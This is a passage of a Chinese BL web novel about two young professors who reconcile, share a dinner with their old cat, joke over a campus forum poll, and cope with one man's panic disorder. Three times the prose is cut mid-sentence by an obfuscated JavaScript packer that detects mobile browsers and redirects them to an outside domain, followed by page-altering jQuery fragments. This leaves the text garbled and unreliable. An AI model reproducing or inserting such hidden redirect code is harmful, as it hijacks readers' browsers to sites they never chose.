仿佛人生中的失去不是遗憾、没说出口才是。 许之忽然发现,原来成熟稳重的成年人也只是李斯年如今的外壳而已。 其实他内心还是那个想要对你好,就会把心都掏出来给你的少年。 许之没有立刻回答,而是深吸了口气,缓缓弯下腰,手肘撑着膝盖,两只手盖住了脸。 几分钟过去,就这样,不知在想着什么,一动不动。 李斯年反而有些手足无措了。 其实他今天来这里,是做好了心理准备,觉得许之回避了这么久,大概率会拒绝自己,当然也存在一丝侥幸,或许会被接受。 可现在的情况,好像和他预想的哪一种都不同。 李斯年挪动着靠近了些,抬起的手犹豫了半天,最后选择克制地放在了许之的手臂外侧。 安抚似的拍了拍。 “对不起。”许之声音闷闷的,从指缝中传出来,尾音带着几分不易察觉的颤抖,像是躲在洞穴里的小兽,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751991|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火灾之后,没能等你醒来,就先走了。” 虽然李斯年早已不执着于这件事了,但听到这句等了八年、许之发自肺腑的道歉,心仍然像是被填补上了一角空缺似的。 他长长地叹了口气:“当时我们对彼此有太多误会,其实我已经不怪你了。” 所谓的追究、报仇,从来只是他忍不住想要再次靠近许之的借口罢了。 只是他早先不愿承认而已。 李斯年:“当年我的确伤心了很久,觉得你好像是为了那个一直想要的未来,把我留在原地了,和你厌恶的其他人和事一起。” 许之抬起头:“不是的……” 他眼睛有些红,说完这句,然后就顿住了,嘴唇张了张,像是千头万绪难以一言诉尽,最后只好先苦笑了声。 “只是我希望你这样以为,能恨我,然后忘记我。” 少年人的想法总是显得稚嫩。 “看来啊,你是有点太低估自己的魅力了。”李斯年笑了笑,有意想逗许之开心些,顺势抬手刮了刮他的下巴,“我是恨过你,但从没有忘记你。” 这话一出,许之的眼睛却更红了。 他似乎觉得自己这样当着李斯年的面失态有些难堪,于是撇过头去。 沉默了好一会,才小声道:“我……不能接受失去第二次。” “什么?” “其实就像现在这样做朋友,也挺好的,朋友就一辈子都是朋友,可能会是亲密些的朋友、或疏远些的朋友,但终归是朋友……”许之没察觉到,他这话无论是内容还是语气都有点可怜巴巴的。 要不是李斯年脑子里还压着最后一根弦——这里是公用办公室,就算他反锁了门,值班室也有钥匙可以打开——他简直忍不住想立刻把面前的人拥入怀中。 “所以呢?”李斯年轻声哄着他继续说。 这样诚实又多言的许之是很少见的。 像是觉得太过羞耻而难以启齿般,许之又支支吾吾了好一会,才终于说:“在一起的话……万一以后不喜欢了,会分手。” 他侧着头,从李斯年的角度,看不清表情,却能看到他白皙的耳垂渐渐泛了红。 李斯年没忍住,伸手捏揉了一下那个耳垂。 许之一抖,身体往后缩了缩,看向李斯年。 那目光有几分戒备,又有几分难以形容的娇嗔,落在李斯年眼里,简直太可爱了。 李斯年故意恍然大悟地拖长了语调:“啊——原来如此!所以你躲了我这么些天,其实就是怕我以后抛弃你?” 许之脸红了几分,不服输道:“怎么就不能是我抛弃你?” 李斯年想了想,深感有道理地点了点头:“也对。” 他说着,手撑着沙发扶手,身体前倾,就单膝跪在了地板上。 二人距离拉近。 李斯年手轻轻覆盖在许之的手背,抬起头,仰视着对方脸上局促又无措的表情,认真道:“那我能不能请求你,以后无论发生什么,都不要抛弃我?” 许之觉得这人简直是这么些年的年纪都长在脸皮上了,说出这种话来竟然脸不红心不跳。 他蹭得一下站起身,结结巴巴道:“我、我才不是那种人!” 李斯年看他脸一路红到耳垂,眼看要顺着红到脖子,忍住笑意,决定见好就收。 也不能一口气把人欺负地太过了。 反正以后来日方长。 他站起身:“好,既然我们都不是这种人,那就不用担心了。” 李斯年话音刚落,桌上的座机就响了起来。 许之像是遇到救星似的,赶紧接起电话。 “喂?” “许老师啊,咨询室大门怎么反锁了?”办公室的座机型号老,听筒声音很大且不隔音,李斯年能清楚听到对面值班学生的声音,“来访者已经到了,您准备好了就叫我们。” “好、好的……十分钟后就可以过来。” “嗯,好!” 挂掉电话,许之看向李斯年,满脸写着“送客”二字。 李斯年在这灼灼目光里,不慌不忙地拿起水杯喝了两口,然后才笑眯眯问:“这周五晚上有空吗?” “什么事?” “之前发消息说了好几次了,来我家吃饭啊。” 许之想了想:“还是你来我家吧。” 正好,他应该也很想再见一见小白。 李斯年迟疑道:“你的厨艺……” 许之瞪了他一眼:“我在国外这些年都是自己做饭吃的,放心,吃不死人!” 说着,打开门,抬手就把人推了出去。 “还有,以后未经允许,不要乱闯咨询室了!” 82.晚餐 李斯年从来没有觉得一周能过得这么慢,好像是一年那么长。 特别是周五下午,临近五点时,李斯年甚至要怀疑自己手表的分针是不是坏掉了,怎么半天还没转一圈。 直到许之的消息踩着点儿发过来。 许:我下课了,停车场等你? 幸福的烟花在李斯年心中炸开又膨胀,他从实验室到停车场一路上嘴角就没压下来过,惹得路过打招呼的学生频频回头。 很快,论坛上就出现好几个关于“化学系李老师今天怎么乐的像朵花似的?”相关帖子,讨论热度高涨。 李斯年没耐心等电梯,直接从楼梯下得停车场,一拐弯,就看到许之正站在他车旁,低头看着手机。 他个头比从前高了些,仍然是瘦,但没不会让人感觉到羸弱了。 尽管当了老师,但还是和从前一样,总是一身休闲装扮,平日走在校园里时,和其他学生也没什么差别。 人近在眼前,李斯年反而不由自主地慢下了脚步,想再多回味一下此刻的感受——一切如旧,就好像他们从未分开过。 是许之先听到脚步声,他抬起头,冲李斯年弯了弯眼角。 “等很久了吗?”李斯年替他拉开副驾驶的门。 “没有。”许之说。 距离他发出的那个消息,也才不过十分钟。 李斯年回到驾驶位,刚扣好安全带,就见许之点开了导航的搜索框,似乎是想要输入自己小区的名称。 但刚拼了几个字,下面就自动弹出了完整的地址。 李斯年根本来不及阻止,心下一慌。 他并不知道自己上次尾随吴琛车的事情早就被许之发现了。 许之扭头看向李斯年。 后者几乎是脱口而出:“我不是变态啊!” 许之点在触屏上的手指一顿,突然就笑了起来。 从前在出租屋,二人关系最亲近时,许之就是这样笑的,一双眼像是风吹过洒满阳光的湖面,闪着波光。 李斯年有些看愣了。 而许之既不揭穿、也不承认自己早就知道,只是笑盈盈的等待李斯年继续解释:“那是?” 李斯年紧张之间,大脑一片空白,只能再扯回到万能的送材料:“就、就是之前,有个资料要给你,所以向林老教授问了你的住址,但后来邹主任又说已经邮箱同步给你了,所以……嗯,就是这样。” 李斯年不太想让许之发现,自己的顿悟其实是来源于吴琛的点拨。 他会觉得自己实在有点太蠢,这么久都没想通这件事,也会怕许之因此对他感到失望。 “什么邮件?我快大半个月没收到过邹主任的邮件了。”许之故作惊讶,拿出手机就要翻看邮箱,“难道是我漏掉了……” “不是什么大事,就是下半学期公益活动的安排,还早着呢!”李斯年按下他的手,赶紧启动了车子,“回头我再抄送你一份就行,不用专门找了,那个……你晚上打算做什么菜给我吃啊,要不要先去菜市场?” 看他都这样慌张的岔开话题了,许之暗暗一笑,将手机放回口袋:“不用,我昨天已经买好了,直接回家吧。” 听到最后三个字,李斯年忍不住勾了勾嘴角。 又怕自己这样显得太没见过世面,赶紧收了收表情,只是重复了一遍许之的话。 “行,回家。” - 晚高峰时段,路上堵得很,李斯年觉得二人就这样干听着音乐,有点尴尬,于是主动挑起话题,问起许之在国外那几年的生活。 许之没再如从前一般遮掩或敷衍,但离开李斯年之后的时间,的确是日复一日的枯燥乏味,他此刻回忆起来,竟挑不出多少有意思的事情能说。 “刚开始学语言的一段时间比较难熬,等申请到了大学后,就渐渐步入正轨了,我没什么花销,每周不用打太长时间的零工就够负担,后来有了奖学金,就更宽裕些,大二那年遇到林老教授,之研究生和博士都一路跟着他,直到去年毕业,林老教授决定回国,任教广都大学,也想带我回来,问我的看法……“ 许之说到这里,顿了会,多了几分笑意:“我听到广都大学时,就想起以前你说想考广大的化学系,虽然我猜以你的能力、或李宇的安排,大概率也会出国留学,总之这时候已经不会在广大了。所以就想着正好可以来看看,所以就回来了。” 李斯年听到这里,心下动容,忍不住扭过头来。 许之察觉到他的目光,抬手轻拍了下导航屏上方,淡淡笑道:“看前面,专心开车。” 他说这些并不是故意煽情,只是言有所衷而已。 既然李斯年都能如此毫无保留地对他敞开心扉,将陈年情愫、未来选择都交到他的手上。 那自己当初不告而别带给李斯年的伤害,如果可以,许之也想尽力弥补。 “你呢,这些年怎么过的?”许之问。 李斯年喉头滚动片刻,才缓缓开口:“也……差不多吧,的确是出国读书了。” 许之算了一下:“你是哪一年博士毕业的,也跳级了?” 今年是分离的第九年,去掉入职广大,其实中间是只有八年时间。 按照本四研三、博士至少三年来算,二人肯定都不是按照正常时间一路读上来的。 李斯年点头,边想边说:“我是21年大……大三,对,大三时跳到研一了,研究生两年修完,然后申请博士,博士是三年,去年毕业的。” 许之略一抬眉:“我也是。” 他没想到,隔着空间时间,二人的轨迹却冥冥之中卡得一模一样。 李斯年看了他一眼,由衷一笑:“看来我们真是挺有缘。” 今天有许之在车上,李斯年的车就能名正言顺开去小区的地下停车库了。 下车后,李斯年跟着他进单元楼、进电梯,来到19楼。 滴滴几声,许之输入密码,开了门。 李斯年随之心跳暗暗加快,有因即将见到小白的激动、也有时隔多年在一次踏进属于许之空间的紧张。 从前在碧水名城,许之那间屋子几乎没什么私人物品,干净的像是他随时准备离开。 而出租屋里,一切陈列摆设也都是将就着已有的家具,勉强生活而已。 那如今,属于许之自己的家,会是什么样子呢? 许之按开玄关的灯,在鞋柜拿出一双拖鞋,是灰白条纹的。 啊,是了,他从前就喜欢条纹,李斯年想着。 换了鞋,抬眼看去,屋子不大,一眼能看完的两室一厅结构,出人意料的不空旷、不像样板间,反而处处透着温馨。 沙发上有一个玩偶抱枕,茶几表面挺空,但下部玻璃柜门内放着很多小东西,有零食、玻璃杯、还有拆后密封的茶叶,和一些猫条零食。 靠墙是近乎一人高的猫爬架,几乎和沙发宽度齐平,在原本就不算大的客厅内很是瞩目。 许之见他目光转向猫爬架,抿嘴笑着,去茶几下面拿了根猫条,拆开。 然后走到猫爬架底部半封闭的猫屋蹲下,发出熟练地“啧啧”两声,将猫条挤出一些,悬空在圆洞不远处。 李斯年轻手轻脚跟在其后,很快,就看到一个白色的猫头飞快地探出洞口。 呲溜一下舔走了挤出的猫条,又缩了回去。 许之仰起头,招手示意李斯年也蹲下。 尽管李斯年已经知道小白这么多年一直都被许之带在身边,没有死在那个寒冷的雪夜。 但如今实实在在地看到,还是内心感到非常的震动。 李斯年忍住鼻酸,半蹲下来,许之将手里的猫条递给他,抓着他的手腕,放到洞口处,晃了晃。 “小白,看看是谁?”许之轻声说。 或许是察觉到来者身上有熟悉的气息,小白很快又探出头来,如法炮制地舔走了李斯年手里的猫条,但却没有再缩回去。 而是微微抬起头,一双眼带着些许疑惑,打量着李斯年。 她比从前胖了很多,皮毛顺滑、眼珠明亮,一点都不像是十岁多的老猫了。 看来这些年,许之真的将她照顾地很好。 李斯年将猫条一点一点挤完给小白吃,到最后,小白已经将半边身子都探出猫屋了。 李斯年试着伸出手给她闻,小白鼻头耸动,仔仔细细地围着他指尖皮肤一圈,终于,用嘴侧拱了拱李斯年的手。 那触感软软的、温热的,还有点使劲儿,带着亲昵感。 和从前小白蹭他时一模一样。 许之转头对李斯年笑:“她也还记得你呢。” 也。 李斯年觉得心脏像是一个膨胀的气球,说不出是什么感觉。 有点酸楚、又很幸福,还有些不真实。 好像在做梦。 可其实八年里,这样美好的一幕,他连做梦时都不敢梦见。 “那你陪她玩玩,逗猫棒也在茶几下面,我先去做饭……” 许之说着,正要站起身,却忽然身上一重。 是李斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你答应不抛弃我了啊,这才几天,就说话不算数了?”李斯年说着,又凑近些,几乎与许之鼻尖相抵。 李斯年的鼻息像是热浪涌来,许之心头被灼烫似的一颤,下意识就闭上了眼。 但就这么过好几秒,什么都没发生,许之睁开眼,就见李斯年竟然往后拉开了距离,嘴角勾起一抹笑意,玩味地看着他。 被戏弄的羞愤猛地窜了心头,许之用力推开李斯年,飞快地站起身,整张脸都成了熟透的红番茄。 “你到底吃不吃饭,不吃就走!” “吃,我吃。”李斯年赶紧拿出逗猫棒逗猫:“我先陪孩子玩儿,你如果需要帮忙,就随时叫我。” 而小白也非常配合的,跟随者李斯年逗猫棒上下翻飞、不亦乐乎。 许之一口气卡在喉头,上不去又下不来。 他突然间有点后悔,不该这么早就邀请李斯年来自己家的。 李斯年喜欢他这件事,许之需要一个接受的过程。 但李斯年这边,似乎是想立刻就对二人的关系盖章定论。 倒也不是不愿意……只是,总觉得有点怪怪的。 就好像早就在心里认定多年的结论,甚至还因此经历了很长一段的痛苦煎熬,结果突然有天就被轻飘飘的推翻了。 其实这么些天,许之每天睡醒后,都仍然会感到恍惚,害怕自己只是做了一个梦。 李斯年看他站在原地好一会不讲话,脸色也不太好,心里又不禁有些打晃。 不会真把人惹急了吧? 于是起身,上前几步,放低了语气:“怎么了?你、你别真生气啊,我就是逗你玩的。” 许之抬头看了他一眼,不知为什么,他总是格外受不了李斯年这样小心翼翼的模样。 况且说到底也是他接受能力差,不能怪对方。 许之叹了口气:“这件事……能不能多给我点时间?” 李斯年赶紧点头:“好,听你的,多久都行。” 说完,又想了想,补充了句:“也别太久啊,如果要三年五年的……” 许之没忍住笑了笑:“不会那么久的!” 见终于把人逗笑,李斯年心里这才松了口气。 “那我等你。” “嗯。” 83.投票 在许之家吃完那顿晚饭后,李斯年帮着洗了碗,也没有多留,很有分寸的离开了。 李斯年猜测,或许是自己的诚意和言出必行的态度打动了许之,自从那天后,他明显感觉到二人关系恢复了不少。 好像回到从前在出租屋时,偶尔看到有趣的事情会发个信息分享,中午只要没事,二人也会一起去食堂吃饭。 其实在校老师顿顿吃食堂的并不多见,况且李斯年和许之都不爱去那种针对教师的、价格偏高的精致小炒,反而乐于去普通档口。 许之是节俭惯了,广大的食堂招商一向做得不错,能这样顿顿有肉还物美价廉,他觉得很好。 李斯年则是恋旧,打心眼里喜欢和许之在热闹的食堂里挤来挤去,觉得像是回到德育那时候。 而二人不知道,这对于广大的学生来说,是多么喜闻乐见的事。 学校论坛里关于二人用餐照的楼盖得高高不说,嗑cp的人数也在指数上涨中。 甚至每天还有投票,竞猜两位年轻帅气的新晋教授今天会选择哪个食堂就餐。 广大有四五个食堂,风格各异,还有专门针对留学生口味的,而李斯年和许之基本都是换着来,没什么特定偏好。 于是对于其他学生来说,中午去哪个食堂、能否偶遇到二位老师,竟成了值得期待的趣味事件。 若是遇上了,必然要怒拍十几张照片,开开心心上传论坛,嗑个昏天黑地。 今天,二人去南亭食堂吃了秋刀鱼和新开的一家印度飞饼。 李斯年一边吃着饼,一边刷手机,看得津津有味。 不知看到什么内容,脸上忽然出现探究的神色,李斯年抬头问许之:“诶,1和0是什么意思?” 许之一块秋刀鱼差点卡喉咙里,他咳了会,接过李斯年递来的水,压了一口,才神情古怪道:“你不知道?” 一个自称男同性恋的人,问这种基础问题,真的非常奇怪。 李斯年摇头。 许之看了他一会,从李斯年一双黑白分明的眼睛里看出了些许清澈的愚蠢。 这人竟然真的不知道?!这些年在国外过得是有多单纯? “1在上面0在下面。”许之言简意赅道。 李斯年抬了抬眉,虽然是第一次听到这种数字代表含义的说法,但他以前也是看过片的,所以立刻领悟了许之的意思。 “类似于1是男的、0是女的,那种?” “你可以粗略的这么理解吧……”虽然不太对,但许之不想在人来人往的食堂里继续探讨这个话题。 李斯年又吃了一口饼,咀嚼片刻,咽下,若有所思道:“谁发明这个说法的,很传神啊。” 许之默默放下了筷子,脑海里忍不住出现一些有关于“0和1这个说法很传神”的片段。 突然觉得以后和李斯年吃饭,可能要定个规矩,不能说话。 这人偶尔一句惊世骇俗的言论,真的容易让人消化不良。 李斯年浑然不觉,将手机翻过来,放到许之面前:“这些学生真有意思,还搞了个投票。” 许之仔细一看—— 《世纪大疑问,L老师和X老师到底谁1谁0?!》 正文非常精简,一句话都没有,直接甩上来两个选项。 1.当然是L老师了! 2.我站X老师! 许之嘴角一抽。 偏偏论坛的投票规则是,只有进行投票后,才能查看结果。 李斯年满脸跃跃欲试:“要不要打个赌,谁的票数多?” 许之淡淡看了他一眼:“幼稚。” 李斯年瘪瘪嘴:“我不信你不好奇!” 许之拿起杯子,一小口一小口喝完了水,往桌上一搁:“那我赌你票数更多。” 李斯年眨了眨眼:“你这人也太狡猾了!我本来想选我自己的!” 但既然许之选了他,他也只能选许之了。 不然这打赌就没意思了。 “输了的人怎么办?”李斯年尚存一丝侥幸。 许之也想不出什么好玩的:“你说呢?” 李斯年:“那就……答应对方一个愿望?” “这么宽泛?”许之有点迟疑,以李斯年的性格,万一他真赢了,总感觉要提出什么很过分的要求来。 李斯年耸耸肩:“还好吧?反正到时候也好商量嘛,若对方坚持拒绝,就换一个愿望,怎么样?” 他都这么说了,许之只好点头。 李斯年深吸一口气,竖起手机,暗搓搓地给第一个选项投票了。 界面刷新,只见结果是: 1.当然是L老师了!——49% 2.我站X老师!——51% 李斯年整个人在风中凌乱。 许之看他这样子,原本无所谓的心情也产生了动摇,偏头去看:“结果怎么样?” 一看界面,再结合李斯年脸上僵硬的表情,许之忍不住噗嗤一声,笑了出来:“你这是什么表情,打赌你赢了啊。” 李斯年嘴角扬起一丝苦笑,怎么这赢了却比输了还不得劲呢? “为什么学生们会觉得你比较1啊?”李老师开始怀疑起自己的教师形象来。 倒不是被视作0而感到冒犯,只是李斯年先入为主的认为,自己在他人眼中应该是偏向于1的。 许之笑了好一会,开解道:“可能因为你平时性格更亲和吧?听说你上课内容很有趣,下面学生经常笑声一片。但我比较严肃,之前还有学生因此不敢预约我的咨询。” “这样吗……”李斯年怏怏道。 “再说了,这投票比分咬的这么紧,说不定明天就变了。”许之继续安慰。 李斯年听了这话,忽然正色道:“但咱们的打赌是以此刻为准啊,我赢了就是赢了,你欠我一个愿望。” 这人真是小孩心性,一下子又为赢而欢喜了。 许之弯着眼角道:“是是,你赢了,没人跟你抢。” 吃完饭,二人将食物托盘放去回收区,往外走。 李斯年走在前面,刚出门,脚步猛然一顿。 许之跟在他身后,正看着工作群的消息,差点整个人撞到他背上。 许之:“怎么了?” “那、那个……”李斯年硬着脖子,缓缓回过头,“论坛投票好像是实名的。” “什么?!”许之伸手就抢过李斯年的手机。 只见帖子1楼下方赫然更新一条动态:L成功投票选项1。 L是可点击跳转的用户名链接,许之点开来,仔细查看。 一条魂回来了一半。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786195|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好消息是,投票是李斯年使用这个账号进行的唯一一次互动,之前没有跟帖发帖的记录。 而且学校论坛账号并非强制实名制,李斯年注册的这个号还没有绑定学生号或教师证,所以身份一栏是空白。 坏消息是,这个号关注且只关注了一个论坛小组:化学实验小组。 许之面无表情,手指飞快点动,冷静果断地切到论坛首页,一连为李斯年的账号关注了两三个学院、七八个院系和十多个社团小组。 然后将手机交还。 “我建议,你最近还是别登这个号了……装死一段时间吧。” - 时间迈入六月,临近学期末,李斯年带的选修课只设了课后作业作为考试,负担不重,反而是许之肉眼可见的忙了起来。 连续一周都没空和李斯年去食堂,在办公室点外卖了事。 李斯年有想过给他送饭,但许之以“影响不好,低调点”为由拒绝了。 眼看已经近一周没见,李斯年终于没忍住,在周四晚上打了个电话过去。 “喂?”许之的声音听起来有点远,似乎是开着免提。 李斯年随之察觉到一阵噼里啪啦的轻响:“还在加班呢?” “是啊。”许之敲打着键盘的时候没停,一边说:“暑假前有一些前后测的总结要弄完,还有期末考试的事。” “林老教授真是把你一个当仨用了,就算重视,也不能这样吧。”李斯年有点不爽,“回头我要去找他老人家说道说道,年轻人力气多,但也是需要休息的。” 打字声一顿,许之拿起手机,放到耳边,声音一下子贴近了听筒,他声音带笑:“多大人了,还兴找老师的?” “老师对我家孩子太委以重任了,可现在提倡教育减负,我看着心疼。”李斯年一本正经说,“或者我去教育局匿名举报一下……” 听筒那边又是一阵轻笑:“好了,我这还忙着,别闹了。” “那你明晚还加班吗?”李斯年问。 许之鼠标点动,应该是在查看日程表:“可能还得加点。” 他知道李斯年问这话什么意思:“有安排?” “我们都四天没见面了。”李斯年嘟囔。 以前怎么没发现他这么粘人,许之不自觉勾了勾嘴角:“明晚一起去食堂吃饭?我下午最后一节有课,你方便的话,可以来咨询室这边等我。” “好啊。”李斯年的声音立刻明亮了起来,“那去慧园吃吧,听说新开了一家拉面店很不错。” “嗯,好。” 李斯年又嘱咐了几句别熬夜之类的,就挂了电话。 许之摘下眼镜,揉了揉酸胀的眼角,起身倒了杯水。 心理咨询室所在的这栋楼,与宿舍区和其他教学楼都有段距离,一入夜后,就显得格外安静。 窗外路灯稀疏,点亮着无人的校园小路,夏天里绿植都长得茂盛,一团团挤满了绿化区。 广都的夏是少风的,这么隔着窗往外看,景色仿佛凝固成一副画作。 屋内也是昏暗,只有电脑屏幕亮着密密麻麻的表格数据。 许之忽然在这瞬间感觉到一种难以言说的安宁。 时光是这样残酷又温柔,他曾以为被剥夺的一切,如今竟然又重新汇聚在生命里。 84.发作 周五下午,李斯年在实验室一直忙到临近五点。 专题研究的内容进展顺利,在上选修课期间,李斯年也发现了几个很有天赋的学生,有意培养他们熟悉研究内容。 脱掉护具,从实验室出来,李斯年怕自己身上闷了一下午的味道不太好闻,掐着时间去教师健身房那边的淋浴间冲了个澡,回办公室换了一件短袖。 空调滋滋往外冒着舒适的凉气,看了眼手机时间,五点过三分,许之那边应该已经下课了。 他发了条信息过去。 SN:我马上过来了。 又扭头对着玻璃柜的反光确认了一下衣着和发型是否得体,抬脚准备出门。 但就在手拧上门锁的那瞬间,李斯年突然心神一恍,耳边声音忽然就消失了,只剩剧烈如鼓的一阵心跳。 咚。 咚咚。 他浑身一僵,下意识去调整呼吸频率。 吸气,一、二、三。 呼气,一、二、三…… 来回数次,但就像从前无数次一样,自以为平稳的数秒很快就被混乱的心跳所带偏。 李斯年指尖开始发麻,理智操纵着他残存的控制力,转身几步,倒坐在沙发上。 为什么? 在混乱的躯体反应中,神志总是格外清晰。 为什么偏偏在这时候发作?! 没有诱因啊……和许之之间的误会解开了,二人经年的隔阂也逐步消融之中,一切都在向好发展。 为什么…… 李斯年眼前一阵阵发黑,手也开始剧烈颤抖,他想掏出裤袋里的手机,但指尖一次又一次擦着口袋缝隙而过,最后勉强捏住手机,却在刚拿出一半时脱了力。 咣当一声,手机摔在地面,滑出一段距离。 而就在这时,手机屏幕亮起。 是许之的来电。 李斯年满脑子只有一个念头:不能让他发现! 他试图要站起身,去拿手机,但手脚颤抖着不受控制,连撑着沙发都无法做到。 他死死咬着嘴唇,试图用剧痛夺回对身体的控制权,身体顺着沙发滑到地面,努力伸着手,往前探。 眼看就要碰到手机了—— 胸腔内却突然一阵抽动,仿佛过山车一般的失重感陡然袭来,眼前的世界开始旋转,五感被搅得七零八乱,往气管里塞、往鼻子外冒。 李斯年终于控制不住,身体一软,躺倒在地板上。 手机在指尖擦碰下,滑得更远。 李斯年闭上眼,濒死感带来无边无际的生理性绝望,躯体一切反应都是下意识的。 所以哪怕他精神上知道自己不是真的会死,一切都会过去,也完全没有用。 冷汗一阵阵往外冒,他恨极了这种无法自控的感觉。 直到最后,连意识也陷入混沌中…… 不知过了多久。 耳鸣渐渐消退,李斯年忽然能感觉到自己正在呼吸,他下意识想动手指,却发现有些受阻。 他还没有力气睁开眼,只是又弯曲了一下指尖,随即感觉到那股压力减轻了。 “李斯年?”一个声音在身旁响起。 李斯年心中沉沉地叹了口气。 许之终究还是过来找他了。 他有点没勇气醒来,想要继续装睡。 但许之的手却又贴上了他的掌心。 李斯年忽然意识到,刚才那股压力是许之正紧张地攥着自己的手。 李斯年想起自己第一次惊恐发作的时候。 那天只有李倾诺在病房里写作业,小丫头整个人吓得魂都没了。 直到医生过来、自己缓和过来后,还睁着双惊恐的眼,默默流了快一个小时眼泪。 许之这次恐怕也被吓到了吧…… 李斯年心里堵得难受,他最不想让许之看到自己这幅样子的。 他慢慢睁开眼,挤出一些笑容。 故意想要让语气听上去轻松,开口却是极其沙哑:“你、你来啦……” 许之果然是红着一双眼,但表情还算镇定,他先是用手背贴了贴李斯年的脸和额头,又轻轻撑大他眼皮仔细看了看瞳孔,才稍稍松了口气。 拿起桌上早就倒好的一杯水:“喝点。” “谢、谢谢……”李斯年乖巧地坐起身来。 四肢还有些乏力,后背衣服也都湿透了,黏腻在身上有点不好受。 许之似乎是看出来了,手中的杯子一偏,避开了李斯年要接过的手,直接递到了人唇边。 李斯年低头喝了,许之又起身,熟练地打开墙边柜子的抽屉,拿出了一件新的短袖。 正常人是不会在单位留这么多套换洗衣物的,李斯年这么做的原因昭然若揭,但许之偏偏什么也不问、什么也不说。 这让李斯年更觉得有些心虚了。 许之背过身去,等他换好衣服,问:“还吃晚饭吗?” 李斯年点头,拿起手机想看时间,却先看到了许之的五条未读消息和十几个未接来电。 “这、这么晚了啊……”李斯年干笑一声,“食堂已经关门了,我们去外面吃?” “可以。” 二人一路并肩,一路沉默,唯独上车前,许之停在驾驶门那侧,伸手问李斯年要钥匙。 “我能开,没事。”李斯年说。 许之不吭声,只是手也没收回。 李斯年只好把钥匙给了他。 “你想去哪吃?”上车后,许之问。 李斯年终于忍不住,问了句:“你没有话想问我吗?” 许之头也不转:“你不也没话想对我说。” 这是生气了。 李斯年被噎了下,心里有些微妙的不爽。 就算是自己隐瞒情况在先,但毕竟刚刚经历发病痛苦的人是自己。 许之不心疼就罢了,竟然还在这时候冲他发脾气? 李斯年也不再看他,干巴巴道:“是的,没有。” 许之听完这话,沉默了好一会,车拐过好几个路口后,终于很轻地叹了口气, 再开口,声音明显放缓了些:“是惊恐障碍吗?” 李斯年本想梗着脖子不吭声,但嘴上却不受控地冒出略带委屈的声音:“焦虑和惊恐。” “多久了?” 李斯年含糊道:“五年多吧。” 许之似乎不太相信,他喉头颤了颤,好半天才轻声问:“因为火灾?” 他其实想问“是不是因为我”,但话到嘴边,又下意识换了个说法。 像是害怕过于自作多情,又怕答案就是如此。 “不是的,跟火灾没关系,”李斯年极快的否认,甚至看出了许之的言外之意,“和你也没关系,真的!我之前没说,就是怕你瞎想,估计是因为我那时候刚到国外,环境陌生、又没什么认识的人,所以不太适应才导致的。” 许之却是摇了摇头,哑声道:“李斯年,我就是学这个的……” 李斯年性格豁达,当年一夜之间离家出走也没放在心上,立刻在环境差别巨大的简陋出租屋里过得有滋有味。 条件所限不通煤气,又不愿意周末顿顿外卖,宁可买电炉也要开火,锅碗瓢盆更是样样全乎。 这样的适应能力,应该完全足够应对出国留学所带来的变化。 而他刚才惊恐发作时的模样,却简直能算得上书本里完美的案例,所有表现都能对上号,且已经属于比较严重的情况了。 想到这里,许之心里更难过:“对不起,我之前竟然没发现。” 李斯年看他这样,比自己发病还难受,他扶着许之的肩,让他面向自己:“我在国外有进行治疗的,其实这几年已经好很多了,发病次数本就少了,况且我还故意瞒着你,你没发现也很正常。” “以后我不瞒你了好不好?要是发病了,保准第一个告诉你!” 李斯年总能在不好的情景和氛围里,说出两句惊世骇俗的话,却反而令人得以放松一瞬。 许之瞪了他一眼:“又不是什么好事,别盼着了。” “我这不是表忠心嘛。”李斯年一笑,“别垮着脸了行吗?我现在又累又饿,只想赶紧吃东西。” 许之抬手就启动了车:“想吃什么?” 李斯年在导航上搜索着:“糯糯跟我说,广都这边有家江城人开的小龙虾,很正宗,吃那个可以吗?就是可能有点辣哦。” 许之点头:“没关系,吃吧。” - 李斯年以为许之又是为了迁就自己,才去吃小龙虾。 但没想到,这次他吃的倒比八年前要多不少,一瓶饮料从开始到结束,也就喝了三分之二。 “你现在能吃辣了?”李斯年问。 “比以前强些了。”许之吃得差不多了,闲着也是闲着,干脆帮李斯年剥虾壳。 不一会,李斯年面前的小碗就堆起来红油光亮的虾仁肉来。 李斯年笑道:“那敢情好,以前因为你不能吃辣,我没带你去吃的那些店,以后都能一起去了!” 许之淡淡一笑:“好。” 其实高中时,他就察觉到李斯年跟自己一起吃饭时,会顾忌自己的口味。 去食堂给他带饭时,也都避开辣菜。 这在有吃辣传统、炒青菜都恨不得撒一把辣椒的江城,还是需要费些心的。 只是李斯年不知道的是,许之一人一猫身处异国他乡的那些年,已经不知不觉养成了吃辣的习惯。 无论是新鲜的红绿椒、尖的圆的,或是晒干的、整的碎的,许之虽然分不清品种,但只要看到了就会买,然后炒菜时加一点进去。 他没有真正意义上的家乡,却因为这辣味而有了乡愁。 他曾 